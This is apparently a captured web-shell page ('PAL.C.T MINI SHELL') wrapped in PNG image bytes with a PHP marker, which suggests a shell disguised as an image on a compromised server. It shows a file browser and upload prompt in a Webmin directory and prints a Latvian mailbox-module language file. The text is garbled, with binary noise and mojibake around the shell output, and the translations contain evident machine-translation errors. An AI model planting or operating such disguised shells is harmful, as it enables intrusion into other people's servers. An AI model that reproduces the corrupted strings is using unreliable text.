‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/lv.auto

index_title=Izlasiet lietotÄja pastu
index_none=Jums nav atļauts lasÄ«t e-pastu nevienam šīs sistÄ“mas lietotÄjam.
index_header=LietotÄju pastkastes
index_empty=Nav pasta
index_return=lietotÄju saraksts
index_esystem=JÅ«su sistÄ“mÄ netika atklÄts neviens no atbalstÄ«tajiem pasta serveriem (Exim, Qmail, Postfix un Sendmail). Jums bÅ«s jÄpielÄgo <a href='$1'>moduļa konfigurÄcija</a>, lai manuÄli iestatÄ«tu pasta serveri un, iespÄ“jams, pasta ceļus.
index_esystem2=Pasta sistÄ“ma, kas iestatÄ«ta <a href='$1'>moduļa konfigurÄcijÄ</a>, jÅ«su sistÄ“mÄ netika atrasta. Jums bÅ«s jÄpielÄgo konfigurÄcija, lai izmantotu pareizo serveri.
index_esystem3=Sazinoties ar pasta sistÄ“mu, kas iestatÄ«ta <a href='$1'>moduļa konfigurÄcijÄ</a>, radÄs kļūda: $2.
index_system6=Pasta serveris: Exim
index_system5=Pasta serveris: Qmail+VPopMail
index_system4=Pasta serveris: Qmail+LDAP
index_system2=Pasta serveris: Qmail
index_system1=Pasta serveris: Sendmail
index_system0=Pasta serveris: Postfix
index_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz lietotÄju, lai tos parÄdÄ«tu vienÄ lapÄ.
index_find=Atrodiet lietotÄjus, kur lietotÄjvÄrds
index_equals=vienÄds
index_contains=satur
index_eperl=Perl modulis $1, kas nepiecieÅ¡ams izvÄ“lÄ“tajam SMTP autentifikÄcijas režīmam, nav instalÄ“ts, vai tajÄ trÅ«kst atkarÄ«gÄ moduļa. <a href='$2'>Noklikšķiniet Å¡eit</a>, lai to instalÄ“tu tÅ«lÄ«t.
index_file=LasÄ«t pastu failÄ vai Maildiru:
index_nousers=Netika atrasts neviens lietotÄjs!
index_nousersmail=Netika atrasts neviens lietotÄjs ar e-pastu.

mail_title=LietotÄja e-pasts
mail_from=No plkst
mail_date=Datums
mail_subject=Priekšmets
mail_to=Uz
mail_cc=Kopija
mail_bcc=DiskrÄ“tÄ kopija
mail_pri=PrioritÄte
mail_highest=AugstÄkais
mail_high=Augsts
mail_normal=NormÄli
mail_low=Zems
mail_lowest=ZemÄkais
mail_for=$1
mail_for2=LietotÄjam $1
mail_sent=NosÅ«tÄ«to e-pastu sarakstÄ
mail_size=Izmērs
mail_level=RezultÄts
mail_delete=Dzēst
mail_compose=SastÄdÄ«t
mail_open=Atvērt
mail_return=lietotÄja pastkaste
mail_pos=Ziņas no $1 līdz $2 no $3 $4
mail_none=Å im lietotÄjam nav ziņojumu $1
mail_ecannot=Jums nav atļauts lasÄ«t šī lietotÄja e-pastu
mail_all=Izvēlēties visus.
mail_invert=ApgrieztÄ atlase.
mail_nosort=Atiestatīt šķirošanu.
mail_search=Atrodiet ziņojumus kur
mail_body=Korpuss
mail_match=sērkociņi
mail_ok=Meklēt
mail_nonefrom=Nav
mail_mark=AtzÄ«mÄ“t kÄ:
mail_mark0=Nelasīts
mail_mark1=Lasīt
mail_mark2=Īpašais
mail_forward=Uz priekšu
mail_move=PÄrvietot uz:
mail_copy=Kopēt uz:
mail_rfc=No līnijas
mail_eexists=Ziņojums vairs nepastÄv!
mail_fchange=PÄrmaiņas
mail_indexlink=Atgriezties pastkastē
mail_deleteall=Dzēst visus
mail_black=Noliegt sÅ«tÄ«tÄjus
mail_white=Atļaut sÅ«tÄ«tÄjiem
mail_whitemove=Atļaut sÅ«tÄ«tÄjiem un iesÅ«tnei
mail_efile=Pasta fails neeksistē
mail_fromsrch=Atrodiet e-pastu ar to paÅ¡u sÅ«tÄ«tÄju
mail_subsrch=Atrodiet e-pastu ar to pašu tēmu
mail_tosrch=Atrodiet e-pastu ar saņēmēju
mail_fromfilter=Izveidojiet filtru pÄ“c sÅ«tÄ«tÄja
mail_tofilter=Izveidojiet filtru pēc saņēmēja
mail_subfilter=Izveidojiet filtru pēc tēmas
mail_unknown=NezinÄms

mail_sign=Parakstiet ar taustiņu
mail_nosign=&lt;Neparakstīt&gt;
mail_crypt=Šifrēt
mail_nocrypt=&lt;Nekodēt&gt;
mail_samecrypt=&lt;Taustiņi no mērķa adresēm&gt;
mail_addresses=PÄrvaldÄ«t adreÅ¡u grÄmatu
mail_folders=PÄrvaldÄ«t mapes
mail_err=Kļūda, uzskaitot pastu Å¡ajÄ mapÄ“ : $1
mail_loginheader=POP3 servera pieteikÅ¡anÄs
mail_loginheader2=IMAP servera pieteikÅ¡anÄs
mail_logindesc=Jums jÄievada lietotÄjvÄrds un parole, lai piekļūtu pastam <br> e-pasta servera $1 iesÅ«tnÄ“.
mail_loginuser=LietotÄjvÄrds
mail_loginpass=Parole
mail_loginmailbox=IMAP pastkaste
mail_login=Pieslēgties
mail_reset=Skaidrs
mail_logout=Mainīt POP3 pieteikšanos
mail_logout2=MainÄ«t IMAP pieteikumvÄrdu
mail_sig=Rediģēt parakstu
mail_jump=PÄriet uz lapu :
mail_of=no
mail_replyto=Atbildēt uz
mail_folder=Mape
mail_delall=Dzēst visus
mail_deltrash=Tukša miskaste
mail_search2=Meklēt:
mail_search3=Atrast ar rezultÄtu augstÄk:
mail_advanced=IzvÄ“rstÄ meklēšana
mail_return2=LietotÄja e-pasts
mail_esystem=Sazinoties ar pasta sistÄ“mu, radÄs kļūda: $1. Tas jÄlabo sistÄ“mas administratoram.
mail_selread=Atlasiet lasīt.
mail_selunread=Atlasiet nelasītu.
mail_selspecial=Atlasiet īpašo.
mail_specialsync=Sinhronizēt īpašo

view_title=Lasīt e-pastu
view_desc=Ziņojums $1 in $2
view_desc2=Ziņa $1 lietotÄjam $2
view_desc3=Ziņojums $1
view_sent=Ziņa $1 nosÅ«tÄ«to e-pastu sarakstÄ
view_qdesc=Sagaidīts ziņojums $1
view_headers=Pasta galvenes
view_body=Ziņojuma saturs
view_nobody=Šim ziņojumam nav ķermeņa satura.
view_allheaders=Skatīt visas galvenes
view_noheaders=Skatīt galvenes galvenes
view_attach=Pielikumi
view_afile=Pielikuma nosaukums
view_atype=Pielikuma tips
view_aactions=Darbības
view_aview=Skats
view_aopen=Atvērt
view_asave=SaglabÄt
view_aplain=NeapstrÄdÄts
view_anofile=Nav faila nosaukuma
view_asize=Faila lielums
view_reply=Atbildi
view_reply2=Atbildēt uz visiem
view_enew=Rediģēt kÄ jaunu
view_forward=Uz priekšu
view_delete=Dzēst
view_print=DrukÄt
view_strip=Noņemiet pielikumus
view_ecannot=Jums nav atļauts lasÄ«t šī lietotÄja e-pastu
view_mark=AtzÄ«mÄ“t kÄ:
view_mark0=Nelasīts
view_mark1=Lasīt
view_mark2=Īpašais
view_markas0=Nelasīts
view_markas1=Lasīt
view_markas2=Īpašais
view_return=oriÄ£inÄls e-pasts
view_sub=Pievienots e-pasts
view_sub2=Pievienots e-pasts no $1
view_egone=Å is ziņojums vairs nepastÄv
view_eugone=Å is lietotÄjs neeksistÄ“

view_gnupg=GnuPG paraksta pÄrbaude
view_gnupg_0=$1 paraksts ir derīgs.
view_gnupg_1=Paraksts, ko parakstījis $1, ir derīgs, bet uzticības ķēdi nevarēja izveidot.
view_gnupg_2=$1 paraksts ir <b>NAV</b> derīgs.
view_gnupg_3=AtslÄ“gas ID $1 nav jÅ«su sarakstÄ, tÄpÄ“c parakstu nevarÄ“ja pÄrbaudÄ«t.
view_gnupg_4=NeizdevÄs pÄrbaudÄ«t parakstu : $1
view_crypt=GnuPG pasta atšifrēšana
view_crypt_1=Ziņojums ir šifrēts, bet GnuPG atbalsts nav instalēts.
view_crypt_2=NeizdevÄs atÅ¡ifrÄ“t ziņojumu : $1
view_crypt_3=Pasts tika veiksmīgi atšifrēts.
view_crypt_4=Å ifrÄ“tÄ ziņojuma daļa tika veiksmÄ«gi atÅ¡ifrÄ“ta.
view_recv=<a href='$2'>IelÄdÄ“t atslÄ“gas ID $1 no taustiņu servera</a>.
view_folder=Atgriezties pastkastē
view_dheader=Atvienojiet pielikumu serverim
view_detach=Atdalīšanas fails:
view_dall=&lt;Visi faili&gt;
view_dir=uz servera failu vai direktoriju:
view_black=Noliegt sÅ«tÄ«tÄju
view_white=Atļaut sÅ«tÄ«tÄjam
view_whitemove=Atļaut sÅ«tÄ«tÄju un iesÅ«tni
view_razor=Ziņot par surogÄtpastu
view_ham=Ziņot šķiņķis
view_hammove=Ziņot par šķiņķi un iesūtni
view_razordel=DzÄ“st surogÄtpastu
view_dstatus=NeizdevÄs piegÄdes statuss
view_dstatusok=VeiksmÄ«gs piegÄdes statuss
view_final-recipient=Gala saņēmējs
view_diagnostic-code=Neveiksmes iemesls
view_remote-mta=AttÄlÄ pasta serveris
view_reporting-mta=Ziņojumu pasta serveris
view_astext=SkatÄ«t kÄ tekstu
view_ashtml=SkatÄ«t kÄ HTML
view_images=RÄdÄ«t attÄ“lus
view_raw=SkatÄ«t neapstrÄdÄtu ziņojumu
view_aall=SaglabÄjiet visus pielikumus kÄ ZIP.
view_aslideshow=RÄdÄ«t visus attÄ“lus.

compose_title=SastÄdÄ«t e-pastu

reply_title=Atbildēt uz e-pastu
forward_title=PÄrsÅ«tÄ«t e-pastu
enew_title=Rediģēt e-pastu
reply_headers=Pasta galvenes
reply_attach=PÄrsÅ«tÄ«tie pielikumi
reply_mailforward=PÄrsÅ«tÄ«tie ziņojumi
reply_attach2=Klienta un servera puses pielikumi
reply_attach3=AugÅ¡upielÄdÄ“tie pielikumi
reply_send=Nosūtīt pastu
reply_ecannot=Jums nav atļauts sÅ«tÄ«t vÄ“stules kÄ Å¡im lietotÄjam
reply_body=Ziņojuma teksts
reply_errc=NeizdevÄs nokopÄ“t pastu
reply_errm=NeizdevÄs pÄrvietot pastu
reply_return=sastÄdÄ«t pastu
reply_efwdnone=Neviena no pÄrsÅ«tÄ«tajÄm ziņÄm nepastÄv
reply_dsn=Vai pieprasīt paziņojumu par statusa lasīšanu?
reply_del=Vai pieprasÄ«t paziņojumu par piegÄdes statusu?
reply_aboot=Vai pievienot adresÄtus adreÅ¡u grÄmatai?
reply_tabfrom=No plkst
reply_tabto=Uz
reply_tabreplyto=Atbildēt uz
reply_tabcc=Kopija
reply_tabbcc=DiskrÄ“tÄ kopija
reply_tabsigning=Parakstīšana
reply_taboptions=Iespējas
reply_addattach=Pievienojiet pielikuma lauku.
reply_addssattach=Pievienojiet servera puses pielikuma lauku.
reply_html0=SastÄdÄ«t tekstu
reply_html1=SastÄdÄ«t HTML

reply_spell=PÄrbaudÄ«t pareizrakstÄ«bas kļūdas?
reply_draft=SaglabÄt kÄ melnrakstu
reply_save=SaglabÄt un rediģēt

send_err=NeizdevÄs nosÅ«tÄ«t pastu
send_eto=Trūkst adreses
send_efrom=Trūkst adreses
send_esubject=Trūkst e-pasta tēmas
send_title=Pasts nosūtīts
send_title2=Pasts saglabÄts
send_ok=Pasts veiksmīgi nosūtīts uz $1
send_sending=Nosūtot pastu uz $1 ..
send_ecannot=Jums nav atļauts sÅ«tÄ«t vÄ“stules kÄ Å¡im lietotÄjam
send_esmtp=SMTP komanda $1 neizdevÄs : $2
send_eattach=Pielikumu kopsumma nedrÄ«kst pÄrsniegt $1 kB.
send_eperms=LietotÄjs $1 nevar nolasÄ«t $2
send_eperms2=Jums nav atļauts sūtīt failu $1
send_epath=Sendmail izpildÄmÄ $1 neeksistÄ“.
send_efile=NeizdevÄs nolasÄ«t pielikumu $1 : $2 
send_done=.. darīts.

send_epass=JÅ«s nevarat parakstÄ«t ziņojumu, jo ieejas frÄze vÄ“l nav iestatÄ«ta GnuPG modulÄ«.
send_esign=NeizdevÄs parakstÄ«t ziņojumu : $1
send_ekey=Nevarēju atrast e-pasta adreses atslēgu $1
send_ecrypt=NeizdevÄs Å¡ifrÄ“t ziņojumu : $1
send_eword=Kļūdas vÄrds $1
send_eword2=Kļūdas vÄrds $1 - iespÄ“jamie labojumi $2
send_eline=RindÄ $1 :
send_espell=JÅ«su ziņojumÄ tika atrastas Å¡Ädas pareizrakstÄ«bas kļūdas ..
send_draft=E-pasts uz $1 saglabÄts melnrakstu mapÄ“.
send_drafting=E-pasta saglabÄÅ¡ana $1 melnrakstu mapÄ“.
send_eattachsize=Pasta pielikums pÄrsniedza maksimÄlo atļauto $1 baitu lielumu

delete_title=Dzēst pastu
delete_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st $1 atlasÄ«tos ziņojumus no $2? Tas var aizņemt kÄdu laiku, kamÄ“r tiek izveidots liels pasta fails. KamÄ“r dzēšana nav pabeigta, citas darbÄ«bas nevajadzÄ“tu veikt.
delete_rusure2=Vai tieÅ¡Äm vÄ“laties izdzÄ“st Å¡o ziņojumu no $1? Tas var aizņemt kÄdu laiku, kamÄ“r tiek izveidots liels pasta fails. KamÄ“r dzēšana nav pabeigta, citas darbÄ«bas nevajadzÄ“tu veikt.
delete_ok=Dzēst tūlīt
delete_ecannot=Tagad jums ir atļauts izdzÄ“st šī lietotÄja vÄ“stules
delete_enone=Dzēšanai nav atlasīts neviens pasts
delete_emnone=Nav atzīmēts neviens e-pasts
delete_efnone=PÄrsÅ«tīšanai nav atlasÄ«ts neviens pasts
delete_ebnone=Neviena vēstule nav atlasīta
delete_ewnone=Nav atļauts atlasīt e-pastu
delete_ernone=Nav atlasÄ«ts neviens pasts, par kuru ziņot par surogÄtpastu
delete_ehnone=Nav atlasīts neviens pasts, lai ziņotu par šķiņķi
delete_emoveuser=LietotÄjs, uz kuru pÄrvietot pastu, nepastÄv
delete_ecopyuser=NeeksistÄ“ lietotÄjs, uz kuru kopÄ“t pastu
delete_emovecannot=Jums nav atļauts pÄrvietot pastu norÄdÄ«tajam lietotÄjam
delete_ecopycannot=Jums nav atļauts kopÄ“t pastu norÄdÄ«tajam lietotÄjam
delete_emovenone=PÄrvietoÅ¡anai nav atlasÄ«ts neviens pasts
delete_ecopynone=Kopēt nav atlasīts neviens pasts
delete_nobutton=Neviena poga nav noklikšķinÄjusi
delete_ereport=NeizdevÄs ziņot par surogÄtpastu : $1
delete_errc=NeizdevÄs nokopÄ“t pastu
delete_errm=NeizdevÄs pÄrvietot pastu

confirm_title=Apstipriniet dzēšanu
confirm_warn=Vai tieÅ¡Äm vÄ“laties no šīs mapes izdzÄ“st atlasÄ«tos $1 ziņojumus?
confirm_warnf=Vai tieÅ¡Äm vÄ“laties izdzÄ“st izvÄ“lÄ“tos $1 ziņojumus no mapes <b>$2</b>?
confirm_warn2=Pastkastes lieluma un formÄta dēļ tas var aizņemt kÄdu laiku. KamÄ“r dzēšana nav pabeigta, citas darbÄ«bas nevajadzÄ“tu veikt.
confirm_warn3=Vai tieÅ¡Äm vÄ“laties dzÄ“st Å¡o ziņojumu?
confirm_warn4=Kamēr dzēšana nav pabeigta, citas darbības nevajadzētu veikt.
confirm_ok=Dzēst tūlīt
confirm_warnall=Vai tieÅ¡Äm vÄ“laties izdzÄ“st visus Å¡ajÄ mapÄ“ esoÅ¡os ziņojumus?
confirm_warnallf=Vai tieÅ¡Äm vÄ“laties izdzÄ“st visus ziņojumus, kas atrodas mapÄ“ <b>$1</b>?

search_title=Meklēšanas rezultÄti
search_ecannot=Jums nav atļauts meklÄ“t šī lietotÄja e-pastÄ
search_ematch=Jums ir jÄievada teksts, kuram jÄsakrÄ«t.
search_escore=TrÅ«kst vai nav derÄ«gs surogÄtpasta rÄdÄ«tÄjs
search_efield=Jums jÄizvÄ“las meklēšanas tips.
search_ewhat=$1 RindÄ nav ievadÄ«ts atbilstoÅ¡s teksts.
search_enone=Nav ievadīts neviens meklēšanas kritērijs
search_none=Nav atrasts neviens ziņojums.
search_results2=$1 pasta ziņas, kas atbilst $2
search_results3=$1 pasta ziņas, kas neatbilst $2
search_results4=$1 pasta ziņas, kas atbilst jūsu meklēšanai
search_results5=$1 pasta ziņas, kurÄs $2 atbilst $3
search_msg2=Meklēšanas rezultÄti vaicÄjumam $1
search_msg4=Meklēšanas rezultÄti
search_msg5=Meklēšanas rezultÄti par surogÄtpastu ar punktu $1
search_msg6=Meklēšanas rezultÄti $2
search_local=VietÄ“jÄs mapÄ“s
search_all=VisÄs mapÄ“s
search_limit=(no pēdējiem $1 ziņojumiem)
search_status=Ar statusu
search_attach=JÄbÅ«t pielikumiem?
search_allstatus=Jebkurš
search_onestatus=Tikai statuss
search_latest=Ziņojumi meklēšanai
search_nolatest=Viss mapē
search_latestnum=Tikai jaunÄkais
search_elatest=Trūkst vai nav derīgs meklējamo ziņojumu skaits
search_withstatus=, ar statusu $1

folder_inbox=Iesūtne
folder_sent=Nosūtītais pasts
folder_drafts=Melnraksti
folder_trash=Atkritumi

detach_err=NeizdevÄs atdalÄ«t failu
detach_edir=Nav faila vai direktorija, ko saglabÄt ievadÄ«tajÄ
detach_eopen=NeizdevÄs atvÄ“rt $1 : $2 
detach_ewrite=NeizdevÄs rakstÄ«t uz $1 : $2 
detach_title=Atvienot failu
detach_ok=Uzrakstīja pielikumu servera puses failam $1 ($2).

sform_title=IzvÄ“rstÄ meklēšana
sform_header=Papildu e-pasta meklēšanas iespējas
sform_andmode=Kritēriju režīms
sform_and=Atrodiet ziņojumus, kas atbilst visiem zemÄk norÄdÄ«tajiem kritÄ“rijiem.
sform_or=Atrast ziņojumus atbilst visiem zemÄk norÄdÄ«tajiem kritÄ“rijiem.
sform_neg0=satur
sform_neg1=nesatur
sform_ok=Meklēt tagad
sform_folder2=Meklēt mapē (s)
sform_all=&lt;Visas mapes&gt;
sform_local=&lt;VietÄ“jÄs mapes&gt;
sform_where=Kur
sform_text=teksts
sform_from=No: galvenes
sform_subject=Temats: galvene
sform_to=Kam: galvene
sform_cc=Kopija: galvene
sform_bcc=DiskrÄ“tÄ kopija: galvene
sform_date=Datums: galvene
sform_body=ziņojuma pamatteksts
sform_headers=jebkura galvene
sform_allmsg=viss ziņojums
sform_size=ziņas lielums
sform_return=izvÄ“rstÄs meklēšanas forma

find_enone=Neviens lietotÄjs neatbilda jÅ«su meklēšanai
find_title=Meklēšanas rezultÄti
find_results=LietotÄji, kas meklÄ“ meklēšanu pÄ“c $1 ..
find_user=LietotÄjvÄrds
find_real=Īstais vÄrds
find_group=Grupa
find_home=SÄkuma katalogs
find_size=Pasta lielums
find_incount=E-pasti
find_sentcount=Nosūtīts
find_fcount=Mapes
find_in=$1 in $2

acl_none=Nav
acl_same=LietotÄjs ar tÄdu paÅ¡u vÄrdu
acl_all=Visi
acl_read=LietotÄji, kuru pastu var lasÄ«t
acl_users=Tikai lietotÄji
acl_userse=Visi, izņemot lietotÄjus
acl_usersg=Grupu dalībnieki
acl_from=Atļauts no adresēm
acl_any=Jebkura adrese
acl_fdoms=Pastkaste @ domēni
acl_faddrs=NorÄdÄ«tÄs adreses
acl_fdom=Jebkura adrese @ domēns
acl_fromname=No adreses Ä«stais vÄrds
acl_apath=Ierobežojiet failus un programmu direktorijÄ
acl_attach=MaksimÄlais kopÄ“jais pielikumu lielums
acl_unlimited=Neierobežots
acl_sent=SaglabÄjiet nosÅ«tÄ«tÄs vÄ“stules pastkastÄ“
acl_canattach=Vai var pievienot servera puses failus?
acl_candetach=Vai var atdalīt failus uz serveri?
acl_usersm=LietotÄji atbilst
acl_asame=Tas pats, kas lietotÄjvÄrds
acl_usersu=Ar UID diapazonÄ
acl_sec=Vai iekļaut vidusskolas grupas?
acl_dir=Var lasÄ«t pasta failus direktorijÄ
acl_dirauto=Izlemiet automÄtiski (jebkur, ja visi lietotÄji ir redzami, nekur citur)

log_delmail=Izdzēsti $1 ziņojumi no $2
log_movemail=$1 ziņojumi ir pÄrvietoti no $2 uz $3
log_copymail=Kopēti $1 ziņojumi no $2 uz $3
log_send=Nosūtīts pasts uz $1
log_read=Lasīt $1 pastu

emodified=Å Ä« mape ir modificÄ“ta kopÅ¡ pÄ“dÄ“jÄs apskatīšanas! Atgriezieties <a href='$1'>e-pastu sarakstÄ</a> un mēģiniet vÄ“lreiz.

razor_title=ZiņoÅ¡ana kÄ surogÄtpasts
razor_title2=Ziņo kÄ Ham
razor_report=ZiņoÅ¡ana par Å¡o ziņojumu Razor un citÄm SpamAssassin surogÄtpastu bloÄ·Ä“joÅ¡Äm datu bÄzÄ“m.
razor_report2=ZiņoÅ¡ana par atlasÄ«tajiem ziņojumiem Razor un citÄm SpamAssassin surogÄtpastu bloÄ·Ä“joÅ¡Äm datu bÄzÄ“m.
razor_report3=AtsaukÅ¡ana par atlasÄ«tajiem ziņojumiem Razor un citÄm SpamAssassin surogÄtpastu bloÄ·Ä“joÅ¡Äm datu bÄzÄ“m.
razor_done=.. darīts
razor_err=.. neizdevÄs! Iemeslu, kÄpÄ“c to darÄ«t, skatiet iepriekÅ¡ redzamajÄ kļūdas ziņojumÄ.
razor_moved=.. paveikts un pÄrvietots uz mapi $1.
razor_deleted=.. gatavs un arī izdzēsts ziņojums.

ham_title=Ziņo kÄ Ham
ham_report=ZiņoÅ¡ana par Å¡o ziņojumu kÄ neatgriezenisku surogÄtpastu Razor un citÄm SpamAssassin datu bÄzÄ“m.

black_title=SÅ«tÄ«tÄja noliegÅ¡ana
black_done=Pievienoja e-pasta adresi $1 SpamAssassin liegto adrešu sarakstam.
black_already=E-pasta adrese $1 jau ir SpamAssassin liegto adreÅ¡u sarakstÄ.

white_title=SÅ«tÄ«tÄja atļauÅ¡ana
white_done=Pievienoja e-pasta adresi $1 SpamAssassin atļauto adrešu sarakstam.
white_already=E-pasta adrese $1 jau ir SpamAssassin atļauto adreÅ¡u sarakstÄ.

ldap_emod=Trūkst Perla moduļa $1, kas nepieciešams savienojumam ar LDAP
ldap_econn=NeizdevÄs izveidot savienojumu ar LDAP serveri $1 portu $2
ldap_elogin=NeizdevÄs saistÄ«ties ar LDAP serveri $1 kÄ $2 : $3 
ldap_ehost=Moduļa konfigurÄcijÄ nav iestatÄ«ts LDAP serveris
ldap_eport=Moduļa konfigurÄcijÄ nav iestatÄ«ts derÄ«gs LDAP servera ports
ldap_euser=Moduļa konfigurÄcijÄ nav iestatÄ«ta LDAP pieteikÅ¡anÄs
ldap_ebase=Moduļa konfigurÄcijÄ nav iestatÄ«ta LDAP bÄzes DN

delall_title=Dzēst visu pastu
delall_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st visus e-pastus no $1? $2 ziņojumi, kuru kopsumma ir $3, tiks izdzÄ“sti uz visiem laikiem.
delall_ok=Dzēst tūlīt

slide_title=Pievienotie attēli
slide_prev=Iepriekšējais
slide_next=NÄkamais

left_mail=Pasts
left_search=Meklēt:
left_folders=PÄrvaldÄ«t mapes
left_addresses=AdreÅ¡u grÄmata
left_prefs=Pasta preferences
left_forward=PÄrsÅ«tÄ«t e-pastu
left_autoreply=AutomÄtiska atbilde
left_filter=E-pasta filtri
left_pass=Mainīt paroli
left_sig=Rediģēt parakstu
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚